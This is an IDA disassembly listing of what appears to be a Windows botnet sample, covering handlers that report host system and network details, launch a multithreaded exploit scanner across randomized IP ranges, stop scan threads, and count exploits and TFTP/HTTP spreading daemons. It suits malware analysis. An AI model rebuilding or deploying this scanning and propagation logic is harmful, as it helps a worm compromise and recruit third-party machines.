push edi
push dword ptr [esp+47Ch+var_444]
mov esi, offset Dest
push dword_426BE8
lea eax, [esp+484h+Args]
push esi
push dword_426BEC
push eax ; Args
push offset aSystemSCpuIXS@ ; "System: %s [CPU: %i x %s @ %dMhz] [RAM:"...
push [esp+494h+var_43C] ; int
push dword ptr [ebp+arg_4] ; char
push offset dword_4269BC ; int
call sub_417361
push 108h ; size_t
push 0 ; int
push esi ; void *
call _memset
mov ecx, [esp+4ACh+var_4]
add esp, 5Ch
pop edi
pop esi
pop ebx
xor ecx, esp
call sub_402710
mov esp, ebp
pop ebp
retn 1Ch
sub_401CC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401E82 proc near ; DATA XREF: .rdata:off_420BCCo
var_18 = dword ptr -18h
Args = byte ptr -14h
var_13 = byte ptr -13h
var_4 = dword ptr -4
arg_4 = byte ptr 0Ch
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
push ebx
mov ebx, [ebp+arg_10]
push esi
push edi
push dword_4269BC
mov [ebp+Args], 0
xor eax, eax
lea edi, [ebp+var_13]
stosd
stosd
stosd
stosw
lea esi, [ebp+Args]
stosb
call sub_418FC6
pop ecx
mov eax, esi
push eax
call ds:dword_41D264 ; inet_addr
push 2
mov [ebp+var_18], eax
push 4
lea eax, [ebp+var_18]
push eax
call ds:dword_41D280 ; gethostbyaddr
test eax, eax
jnz short loc_401EEF
mov eax, esi
push eax ; Args
push offset aNetIpSHostNA ; "Net: IP: %s Host: N/A"
push ebx ; int
push dword ptr [ebp+arg_4] ; char
push offset dword_4269BC ; int
call sub_417361
add esp, 14h
jmp short loc_401F0B
; ---------------------------------------------------------------------------
loc_401EEF: ; CODE XREF: sub_401E82+50j
push dword ptr [eax]
lea eax, [ebp+Args]
push eax ; Args
push offset aNetIpSHostS ; "Net: IP: %s Host: %s"
push ebx ; int
push dword ptr [ebp+arg_4] ; char
push offset dword_4269BC ; int
call sub_417361
add esp, 18h
loc_401F0B: ; CODE XREF: sub_401E82+6Bj
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_402710
leave
retn 1Ch
sub_401E82 endp
; =============== S U B R O U T I N E =======================================
sub_401F1C proc near ; DATA XREF: .rdata:off_420D1Co
push 60h
mov eax, offset loc_41C2E1
call __EH_prolog3_GS
mov eax, [ebp+18h]
mov [ebp-68h], eax
xor eax, eax
mov byte ptr [ebp-30h], 0
lea edi, [ebp-2Fh]
stosd
stosd
stosd
mov ebx, [ebp+20h]
stosw
and dword ptr [ebp-58h], 0
and dword ptr [ebp-48h], 0
stosb
xor eax, eax
mov byte ptr [ebp-20h], 0
lea edi, [ebp-1Fh]
stosd
stosd
stosd
stosw
stosb
or edi, 0FFFFFFFFh
cmp byte_433945, 0
mov [ebp-50h], ebx
mov byte ptr [ebp-41h], 0
mov [ebp-5Ch], edi
mov [ebp-60h], edi
mov [ebp-64h], edi
mov [ebp-6Ch], edi
jnz short loc_401F83
call sub_41B775
test al, al
jz loc_402432
loc_401F83: ; CODE XREF: sub_401F1C+58j
cmp byte_4268B4, 0
jnz short loc_401F99
call sub_418D17
test al, al
jz loc_402432
loc_401F99: ; CODE XREF: sub_401F1C+6Ej
and dword ptr [ebp-54h], 0
mov ecx, offset dword_424528
mov eax, ecx
lea esi, [eax+1]
loc_401FA7: ; CODE XREF: sub_401F1C+90j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_401FA7
jmp short loc_401FF6
; ---------------------------------------------------------------------------
loc_401FB0: ; CODE XREF: sub_401F1C+DCj
mov edx, [ebx+4]
mov eax, ecx
loc_401FB5: ; CODE XREF: sub_401F1C+B1j
mov cl, [eax]
cmp cl, [edx]
jnz short loc_401FD3
test cl, cl
jz short loc_401FCF
mov cl, [eax+1]
cmp cl, [edx+1]
jnz short loc_401FD3
inc eax
inc eax
inc edx
inc edx
test cl, cl
jnz short loc_401FB5
loc_401FCF: ; CODE XREF: sub_401F1C+A1j
xor eax, eax
jmp short loc_401FD7
; ---------------------------------------------------------------------------
loc_401FD3: ; CODE XREF: sub_401F1C+9Dj
; sub_401F1C+A9j
sbb eax, eax
sbb eax, edi
loc_401FD7: ; CODE XREF: sub_401F1C+B5j
test eax, eax
jz short loc_401FFC
inc dword ptr [ebp-54h]
mov ecx, [ebp-54h]
imul ecx, 2Ch
lea ecx, dword_424528[ecx]
mov eax, ecx
lea esi, [eax+1]
loc_401FEF: ; CODE XREF: sub_401F1C+D8j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_401FEF
loc_401FF6: ; CODE XREF: sub_401F1C+92j
sub eax, esi
jnz short loc_401FB0
jmp short loc_402001
; ---------------------------------------------------------------------------
loc_401FFC: ; CODE XREF: sub_401F1C+BDj
cmp [ebp-54h], edi
jnz short loc_40201E
loc_402001: ; CODE XREF: sub_401F1C+DEj
push offset aScanUnknownExp ; "Scan: Unknown Exploit."
push dword ptr [ebp-68h] ; int
push dword ptr [ebp+0Ch] ; char
push offset dword_4269BC ; int
call sub_417361
add esp, 10h
jmp loc_402432
; ---------------------------------------------------------------------------
loc_40201E: ; CODE XREF: sub_401F1C+E3j
mov esi, [ebx+8]
mov eax, esi
mov ecx, offset a____0 ; "*.*.*.*"
call sub_419044
test eax, eax
jz short loc_402043
push dword ptr [ebx+0Ch] ; char *
mov byte ptr [ebp-41h], 1
call j__atol
pop ecx
mov [ebp-4Ch], eax
jmp short loc_4020A0
; ---------------------------------------------------------------------------
loc_402043: ; CODE XREF: sub_401F1C+113j
push esi ; char *
call j__atol
pop ecx
push 3
pop edx
cmp [ebp+1Ch], edx
mov [ebp-4Ch], eax
mov [ebp-48h], edx
jl short loc_402099
mov eax, edx
loc_40205A: ; CODE XREF: sub_401F1C+17Bj
mov ecx, [ebp-50h]
mov eax, [ecx+eax*4]
mov edi, eax
mov esi, offset aA ; "-a"
mov ecx, edx
xor ebx, ebx
repe cmpsb
jz short loc_4020E7
mov edi, eax
mov esi, offset aB ; "-b"
mov ecx, edx
xor ebx, ebx
repe cmpsb
jz short loc_402099
mov edi, eax
mov esi, offset aC ; "-c"
mov ecx, edx
xor eax, eax
repe cmpsb
jz short loc_4020ED
inc dword ptr [ebp-48h]
movzx eax, word ptr [ebp-48h]
cmp eax, [ebp+1Ch]
jle short loc_40205A
loc_402099: ; CODE XREF: sub_401F1C+13Aj
; sub_401F1C+160j
mov dword ptr [ebp-48h], 1
loc_4020A0: ; CODE XREF: sub_401F1C+125j
; sub_401F1C+1CFj ...
xor eax, eax
loc_4020A2: ; CODE XREF: sub_401F1C+19Cj
cmp byte_426D01[eax], 0
jz short loc_4020AE
inc dword ptr [ebp-58h]
loc_4020AE: ; CODE XREF: sub_401F1C+18Dj
add eax, 124h
cmp eax, 0CD50h
jbe short loc_4020A2
mov ecx, [ebp-58h]
mov eax, 0B4h
sub eax, ecx
cmp eax, [ebp-4Ch]
jnb short loc_4020F6
push eax ; Args
push offset aScanNotEnoughT ; "Scan: Not Enough Threads. %d Available."...
push dword ptr [ebp-68h] ; int
push dword ptr [ebp+0Ch] ; char
push offset dword_4269BC ; int
call sub_417361
add esp, 14h
jmp loc_402432
; ---------------------------------------------------------------------------
loc_4020E7: ; CODE XREF: sub_401F1C+151j
and dword ptr [ebp-48h], 0
jmp short loc_4020A0
; ---------------------------------------------------------------------------
loc_4020ED: ; CODE XREF: sub_401F1C+16Fj
mov dword ptr [ebp-48h], 2
jmp short loc_4020A0
; ---------------------------------------------------------------------------
loc_4020F6: ; CODE XREF: sub_401F1C+1ABj
add [ebp-4Ch], ecx
cmp byte ptr [ebp-41h], 0
jz loc_40221D
mov eax, [ebp-50h]
push dword ptr [eax+8]
lea eax, [ebp-30h]
push offset aS_19 ; "%s"
push 0Fh
pop ebx
push ebx ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp-30h]
add esp, 10h
lea ecx, [eax+1]
loc_402124: ; CODE XREF: sub_401F1C+20Dj
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_402124
sub eax, ecx
mov [ebp+eax-30h], dl
lea eax, [ebp-6Ch]
push eax
lea eax, [ebp-64h]
push eax
lea eax, [ebp-60h]
push eax
lea eax, [ebp-5Ch]
push eax
lea eax, [ebp-30h]
push offset aD_D_D_D_1 ; "%d.%d.%d.%d"
push eax ; char *
call _sscanf
add esp, 18h
cmp dword ptr [ebp-5Ch], 0FFFFFFFFh
lea eax, [ebp-20h]
jnz short loc_40216C
push offset aX_ ; "x."
push ebx ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_40217E
; ---------------------------------------------------------------------------
loc_40216C: ; CODE XREF: sub_401F1C+23Dj
push dword ptr [ebp-5Ch]
push offset aD_ ; "%d."
push ebx ; Count
push eax ; Dest
call __snprintf
add esp, 10h
loc_40217E: ; CODE XREF: sub_401F1C+24Ej
cmp dword ptr [ebp-60h], 0FFFFFFFFh
mov esi, offset aSD_ ; "%s%d."
mov edi, offset aSx_ ; "%sx."
lea eax, [ebp-20h]
jnz short loc_40219F
push eax
push edi ; Format
push ebx ; Count
push eax ; Dest
call __snprintf
add esp, 10h
jmp short loc_4021B1
; ---------------------------------------------------------------------------
loc_40219F: ; CODE XREF: sub_401F1C+273j
push dword ptr [ebp-60h]
push eax
push esi ; Format
lea eax, [ebp-20h]
push ebx ; Count
push eax ; Dest
call __snprintf
add esp, 14h
loc_4021B1: ; CODE XREF: sub_401F1C+281j
cmp dword ptr [ebp-64h], 0FFFFFFFFh
lea eax, [ebp-20h]
jnz short loc_4021C8
push eax
push edi ; Format
push ebx ; Count
push eax ; Dest
call __snprintf
add esp, 10h
jmp short loc_4021DA
; ---------------------------------------------------------------------------
loc_4021C8: ; CODE XREF: sub_401F1C+29Cj
push dword ptr [ebp-64h]
push eax
push esi ; Format
lea eax, [ebp-20h]
push ebx ; Count
push eax ; Dest
call __snprintf
add esp, 14h
loc_4021DA: ; CODE XREF: sub_401F1C+2AAj
cmp dword ptr [ebp-6Ch], 0FFFFFFFFh
lea eax, [ebp-20h]
jnz short loc_4021F5
push eax
push offset aSx ; "%sx"
push ebx ; Count
push eax ; Dest
call __snprintf
add esp, 10h
jmp short loc_40220B
; ---------------------------------------------------------------------------
loc_4021F5: ; CODE XREF: sub_401F1C+2C5j
push dword ptr [ebp-6Ch]
push eax
push offset aSD ; "%s%d"
lea eax, [ebp-20h]
push ebx ; Count
push eax ; Dest
call __snprintf
add esp, 14h
loc_40220B: ; CODE XREF: sub_401F1C+2D7j
lea eax, [ebp-20h]
lea edx, [eax+1]
loc_402211: ; CODE XREF: sub_401F1C+2FAj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_402211
jmp loc_4022F6
; ---------------------------------------------------------------------------
loc_40221D: ; CODE XREF: sub_401F1C+1E1j
push dword_4269BC
mov byte ptr [ebp-40h], 0
xor eax, eax
lea edi, [ebp-3Fh]
stosd
stosd
stosd
stosw
lea esi, [ebp-40h]
stosb
call sub_418FC6
xor eax, eax
lea edi, [ebp-30h]
stosd
stosd
stosd
stosd
mov eax, esi
push eax
push offset aS_19 ; "%s"
push 0Fh
pop esi
lea eax, [ebp-30h]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp-30h]
add esp, 14h
lea ecx, [eax+1]
loc_402261: ; CODE XREF: sub_401F1C+34Aj
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_402261
sub eax, ecx
mov [ebp+eax-30h], dl
lea eax, [ebp-6Ch]
push eax
lea eax, [ebp-64h]
push eax
lea eax, [ebp-60h]
push eax
lea eax, [ebp-5Ch]
push eax
lea eax, [ebp-30h]
push offset aD_D_D_D_1 ; "%d.%d.%d.%d"
push eax ; char *
call _sscanf
mov eax, [ebp-48h]
add esp, 18h
sub eax, 0
jz short loc_4022D4
dec eax
jz short loc_4022BA
dec eax
jnz short loc_4022E9
push dword ptr [ebp-64h]
lea eax, [ebp-20h]
push dword ptr [ebp-60h]
push dword ptr [ebp-5Ch]
push offset aD_D_D_x ; "%d.%d.%d.x"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
jmp short loc_4022E9
; ---------------------------------------------------------------------------
loc_4022BA: ; CODE XREF: sub_401F1C+37Cj
push dword ptr [ebp-60h]
lea eax, [ebp-20h]
push dword ptr [ebp-5Ch]
push offset aD_D_x_x ; "%d.%d.x.x"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_4022E9
; ---------------------------------------------------------------------------
loc_4022D4: ; CODE XREF: sub_401F1C+379j
push dword ptr [ebp-5Ch]
lea eax, [ebp-20h]
push offset aD_x_x_x ; "%d.x.x.x"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
loc_4022E9: ; CODE XREF: sub_401F1C+37Fj
; sub_401F1C+39Cj ...
lea eax, [ebp-20h]
lea edx, [eax+1]
loc_4022EF: ; CODE XREF: sub_401F1C+3D8j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_4022EF
loc_4022F6: ; CODE XREF: sub_401F1C+2FCj
sub eax, edx
cmp byte ptr [ebp-41h], 0
mov byte ptr [ebp+eax-20h], 0
mov eax, [ebp-50h]
jz short loc_40230B
push dword ptr [eax+0Ch]
jmp short loc_40230E
; ---------------------------------------------------------------------------
loc_40230B: ; CODE XREF: sub_401F1C+3E8j
push dword ptr [eax+8] ; char *
loc_40230E: ; CODE XREF: sub_401F1C+3EDj
call j__atol
push eax
mov eax, [ebp-54h]
imul eax, 2Ch
push dword_424548[eax]
lea eax, [ebp-20h]
push eax ; Args
push offset aScanSDUsingDTh ; "Scan: %s:%d Using %d Threads."
push dword ptr [ebp-68h] ; int
push dword ptr [ebp+0Ch] ; char
push offset dword_4269BC ; int
call sub_417361
add esp, 20h
call sub_4192FB
mov ecx, [ebp-4Ch]
cmp [ebp-58h], ecx
jnb loc_402432
mov eax, [ebp-58h]
imul eax, 124h
sub ecx, [ebp-58h]
mov [ebp-50h], eax
mov [ebp-4Ch], ecx
mov esi, eax
loc_402361: ; CODE XREF: sub_401F1C+510j
push 124h ; size_t
lea ebx, dword_426CF0[esi]
lea edi, [ebx-100h]
push 0 ; int
push edi ; void *
call _memset
lea eax, [ebp-30h]
push eax
push offset aS_19 ; "%s"
push 0Fh ; Count
push ebx ; Dest
call __snprintf
mov eax, ebx
add esp, 1Ch
lea ecx, [eax+1]
loc_402393: ; CODE XREF: sub_401F1C+47Cj
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_402393
push dword ptr [ebp-68h]
sub eax, ecx
mov byte ptr dword_426CF0[esi+eax], dl
mov al, [ebp-41h]
push offset aS_19 ; "%s"
mov [ebx+12h], al
mov eax, [ebp-48h]
push 0FFh ; Count
push edi ; Dest
mov [ebx+18h], eax
call __snprintf
mov eax, edi
add esp, 10h
lea ecx, [eax+1]
loc_4023CA: ; CODE XREF: sub_401F1C+4B3j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_4023CA
sub eax, ecx
mov byte_426BF0[esi+eax], dl
mov al, [ebp+0Ch]
mov [ebx+10h], al
mov eax, [ebp-54h]
push 8 ; Size
mov byte ptr [ebx+11h], 1
mov [ebx+14h], eax
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov [ebp-58h], eax
and dword ptr [ebp-4], 0
test eax, eax
jz short loc_402415
mov ecx, edi
push offset sub_413A2D
mov edi, offset aScanner ; "Scanner"
mov esi, eax
call sub_4140AB
mov esi, [ebp-50h]
jmp short loc_402417
; ---------------------------------------------------------------------------
loc_402415: ; CODE XREF: sub_401F1C+4DFj
xor eax, eax
loc_402417: ; CODE XREF: sub_401F1C+4F7j
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [eax]
add esi, 124h
dec dword ptr [ebp-4Ch]
mov [ebx+20h], eax
mov [ebp-50h], esi
jnz loc_402361
loc_402432: ; CODE XREF: sub_401F1C+61j
; sub_401F1C+77j ...
call sub_40467F
retn 1Ch
sub_401F1C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40243A proc near ; DATA XREF: .rdata:off_420D24o
Args = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
arg_4 = byte ptr 0Ch
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
sub esp, 1Ch
and dword ptr [esp+1Ch+Args], 0
push ebx
push esi
mov ebx, offset dword_433C48
push edi
mov [esp+28h+var_10], ebx
loc_402453: ; CODE XREF: sub_40243A+83j
; sub_40243A+A0j ...
mov eax, dword_433C4C
mov eax, [eax]
mov [esp+28h+var_14], eax
mov [esp+28h+var_18], ebx
loc_402462: ; CODE XREF: sub_40243A+67j
mov eax, dword_433C4C
lea edi, [esp+28h+var_10]
lea esi, [esp+28h+var_18]
mov [esp+28h+var_C], eax
call sub_40166F
test al, al
jz short loc_4024F5
mov edi, offset aScanner ; "Scanner"
call sub_40164F
mov esi, eax
add esi, 5
push 8
pop ecx
xor eax, eax
repe cmpsb
lea esi, [esp+28h+var_18]
jz short loc_4024A3
lea edi, [esp+28h+var_8]
call sub_40168C
jmp short loc_402462
; ---------------------------------------------------------------------------
loc_4024A3: ; CODE XREF: sub_40243A+5Cj
call sub_40164F
mov edi, [eax+40h]
lea esi, [esp+28h+var_18]
call sub_40164F
mov eax, [eax]
call sub_414023
test al, al
jz short loc_402453
xor eax, eax
xor ecx, ecx
loc_4024C3: ; CODE XREF: sub_40243A+9Ej
cmp dword_426D10[ecx], edi
jz short loc_4024DF
add ecx, 124h
inc eax
cmp ecx, 0CD50h
jbe short loc_4024C3
jmp loc_402453
; ---------------------------------------------------------------------------
loc_4024DF: ; CODE XREF: sub_40243A+8Fj
inc dword ptr [esp+28h+Args]
imul eax, 124h
mov byte_426D01[eax], 0
jmp loc_402453
; ---------------------------------------------------------------------------
loc_4024F5: ; CODE XREF: sub_40243A+40j
push dword ptr [esp+28h+Args] ; Args
push offset aScanAllScanThr ; "Scan: All Scan Threads Stopped. %d kill"...
push [ebp+arg_10] ; int
push dword ptr [ebp+arg_4] ; char
push offset dword_4269BC ; int
call sub_417361
add esp, 14h
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 1Ch
sub_40243A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=188h
sub_40251A proc near ; DATA XREF: .rdata:off_420D2Co
var_208 = dword ptr -208h
Args = byte ptr -204h
var_203 = byte ptr -203h
var_4 = dword ptr -4
arg_4 = byte ptr 0Ch
arg_10 = dword ptr 18h
push ebp
lea ebp, [esp-188h]
sub esp, 208h
mov eax, dword_423064
xor eax, ebp
mov [ebp+188h+var_4], eax
mov eax, [ebp+188h+arg_10]
push esi
push edi
mov esi, 1FFh
push esi ; size_t
mov [ebp+188h+var_208], eax
lea eax, [ebp+188h+var_203]
push 0 ; int
push eax ; void *
mov [ebp+188h+Args], 0
call _memset
push offset aStatisticsExpl ; "Statistics: Exploits:"
lea eax, [ebp+188h+Args]
push esi ; Count
push eax ; Dest
xor edi, edi
call __snprintf
add esp, 18h
xor eax, eax
loc_40256B: ; CODE XREF: sub_40251A+7Ej
push dword_42454C[eax]
lea eax, dword_424528[eax]
push eax
lea eax, [ebp+188h+Args]
push eax
push offset aSSD ; "%s %s: %d"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
inc edi
mov eax, edi
imul eax, 2Ch
cmp dword_424548[eax], 0
jnz short loc_40256B
lea eax, [ebp+188h+Args]
push eax
push offset aSDaemons ; "%s; Daemons:"
push esi ; Count
push eax ; Dest
call __snprintf
push dword_43394C
lea eax, [ebp+188h+Args]
push eax
push offset aSTftpD ; "%s TFTP: %d"
push esi ; Count
push eax ; Dest
call __snprintf
push dword_433940
lea eax, [ebp+188h+Args]
push eax
push offset aSHttpD ; "%s HTTP: %d"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 38h
lea eax, [ebp+188h+Args]
pop edi
lea edx, [eax+1]
pop esi
loc_4025E1: ; CODE XREF: sub_40251A+CCj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_4025E1
sub eax, edx
mov [ebp+eax+188h+Args], cl
lea eax, [ebp+188h+Args]
push eax ; Args
push offset aS_19 ; "%s"
push [ebp+188h+var_208] ; int
push dword ptr [ebp+188h+arg_4] ; char
push offset dword_4269BC ; int
call sub_417361
mov ecx, [ebp+188h+var_4]
xor ecx, ebp
add esp, 14h
call sub_402710
add ebp, 188h
leave
retn 1Ch
sub_40251A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402624 proc near ; CODE XREF: .text:0041B246p
jmp ds:dword_41D1DC
sub_402624 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40262A proc near ; CODE XREF: .text:0041B2E9p
jmp ds:dword_41D1D8
sub_40262A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402630 proc near ; CODE XREF: .text:0041B216p
; .text:0041B259p ...
jmp ds:dword_41D1D4
sub_402630 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402636 proc near ; CODE XREF: .text:0041B268p
; .text:0041B360p ...
jmp ds:dword_41D1D0
sub_402636 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40263C proc near ; CODE XREF: .text:0041B351p
jmp ds:dword_41D1CC
sub_40263C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402642 proc near ; CODE XREF: .text:0041AA90p
jmp ds:dword_41D1C4
sub_402642 endp
; [00000005 BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40264D proc near ; DATA XREF: .rdata:004212A4o
mov dword ptr [ecx], offset off_41D338
jmp sub_40109A
sub_40264D endp
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_402658(void *Memory,char)
sub_402658 proc near ; DATA XREF: .rdata:off_41D338o
arg_0 = byte ptr 4
push esi
mov esi, ecx
mov dword ptr [esi], offset off_41D338
call sub_40109A
test [esp+4+arg_0], 1
jz short loc_402674
push esi ; Memory
call j__free
pop ecx
loc_402674: ; CODE XREF: sub_402658+13j
mov eax, esi
pop esi
retn 4
sub_402658 endp
; =============== S U B R O U T I N E =======================================
sub_40267A proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool)+Dp
push 44h
mov eax, offset loc_41C1D3
call __EH_prolog3
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-28h]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *)
and dword ptr [ebp-4], 0
lea eax, [ebp-28h]
push eax
lea ecx, [ebp-50h]
call sub_401065
push offset dword_421988
lea eax, [ebp-50h]
push eax
mov dword ptr [ebp-50h], offset off_41D32C
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
sub_40267A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4026B9 proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+13p
; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint)+Fp
var_10 = dword ptr -10h
push 44h
mov eax, offset loc_41C1D3
call __EH_prolog3
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-28h]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *)
and dword ptr [ebp-4], 0
lea eax, [ebp-28h]
push eax
lea ecx, [ebp-50h]
call sub_401065
push offset dword_4212A0
lea eax, [ebp-50h]
push eax
mov dword ptr [ebp-50h], offset off_41D338
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
push esi
push [esp+18h+var_10]
mov esi, ecx
call sub_4013E6
mov dword ptr [esi], offset off_41D338
mov eax, esi
pop esi
retn 4
sub_4026B9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_402710 proc near ; CODE XREF: sub_401C1D+9Ap
; sub_401CC0+1B7p ...
cmp ecx, dword_423064
jnz short loc_40271A
rep retn
; ---------------------------------------------------------------------------
loc_40271A: ; CODE XREF: sub_402710+6j
jmp ___report_gsfailure
sub_402710 endp
; [00000082 BYTES: COLLAPSED FUNCTION _LocaleUpdate::_LocaleUpdate(localeinfo_struct *). PRESS KEYPAD "+" TO EXPAND]
; [00000035 BYTES: COLLAPSED FUNCTION ___ascii_stricmp. PRESS KEYPAD "+" TO EXPAND]
; [000000D3 BYTES: COLLAPSED FUNCTION __stricmp_l. PRESS KEYPAD "+" TO EXPAND]
; [00000050 BYTES: COLLAPSED FUNCTION __stricmp. PRESS KEYPAD "+" TO EXPAND]
; [000000F0 BYTES: COLLAPSED FUNCTION __strnicmp_l. PRESS KEYPAD "+" TO EXPAND]
; [0000005C BYTES: COLLAPSED FUNCTION __strnicmp. PRESS KEYPAD "+" TO EXPAND]
; [00000092 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+" TO EXPAND]
; [00000008 BYTES: COLLAPSED FUNCTION $LN16. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN12. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402AE8 proc near ; CODE XREF: sub_419EA0+54p
jmp ds:dword_41D194
sub_402AE8 endp
; [000000AD BYTES: COLLAPSED FUNCTION __snprintf. PRESS KEYPAD "+" TO EXPAND]
; [00000005 BYTES: COLLAPSED FUNCTION j_j__free. PRESS KEYPAD "+" TO EXPAND]
; [0000005B BYTES: COLLAPSED FUNCTION _memmove_s. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_402BFB proc near ; CODE XREF: sub_401065+11p
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax+8], 0
mov dword ptr [eax], offset off_41D36C
retn
sub_402BFB endp
; [0000004E BYTES: COLLAPSED FUNCTION std::exception::exception(char const * const &). PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION std::exception::exception(char const * const &,int). PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION std::exception::exception(exception::exception const &). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_402CCA proc near ; CODE XREF: sub_401038+6j
; sub_401043+9p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_41D36C
jz short locret_402CDF
push dword ptr [ecx+4] ; Memory
call _free
pop ecx
locret_402CDF: ; CODE XREF: sub_402CCA+Aj
retn
sub_402CCA endp
; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_7. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_402CED(void *Memory,char)
sub_402CED proc near ; DATA XREF: .rdata:off_41D36Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_402CCA
test [esp+4+arg_0], 1
jz short loc_402D03
push esi ; Memory
call j__free
pop ecx
loc_402D03: ; CODE XREF: sub_402CED+Dj
mov eax, esi
pop esi
retn 4
sub_402CED endp
; [000000AD BYTES: COLLAPSED FUNCTION __onexit_nolock. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION $LN7. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_402E33 proc near ; CODE XREF: __init_pointers+15p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_425A80, eax
retn
sub_402E33 endp
; [000000FC BYTES: COLLAPSED FUNCTION __invoke_watson. PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION __invalid_parameter. PRESS KEYPAD "+" TO EXPAND]
; [00000010 BYTES: COLLAPSED FUNCTION __invalid_parameter_noinfo. PRESS KEYPAD "+" TO EXPAND]
; [00000005 BYTES: COLLAPSED FUNCTION j__free. PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _memcpy_s. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_402FED proc near ; CODE XREF: sub_402FFB+3p
push ecx
mov dword ptr [ecx], offset off_41D38C
call sub_407F55
pop ecx
retn
sub_402FED endp
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_402FFB(void *Memory,char)
sub_402FFB proc near ; DATA XREF: .rdata:off_41D38Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_402FED
test [esp+4+arg_0], 1
jz short loc_403011
push esi ; Memory
call j__free
pop ecx
loc_403011: ; CODE XREF: sub_402FFB+Dj
mov eax, esi
pop esi
retn 4
sub_402FFB endp
; [0000001B BYTES: COLLAPSED FUNCTION unknown_libname_8. PRESS KEYPAD "+" TO EXPAND]
